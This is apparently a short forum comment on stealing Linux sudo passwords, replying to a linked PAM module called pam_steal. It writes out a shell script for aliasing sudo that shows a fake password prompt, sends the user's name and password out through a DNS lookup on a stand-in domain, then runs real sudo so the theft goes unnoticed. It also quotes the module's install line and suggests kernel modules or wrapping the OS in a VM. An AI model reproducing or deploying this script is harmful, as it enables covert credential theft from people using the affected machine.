You can't insert a pam module without root? But you can alias sudo to a script that does something like:
echo "enter sudo pw:"
read pw
# log ip and query on ns for
# example.com
host "$USER.$pw.example.com" &
echo "Invalid pw"
sudo $*
Ed: from the github link:
> Usage: add "auth required pam_steal.so" into /etc/pam.d/common-auth
If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...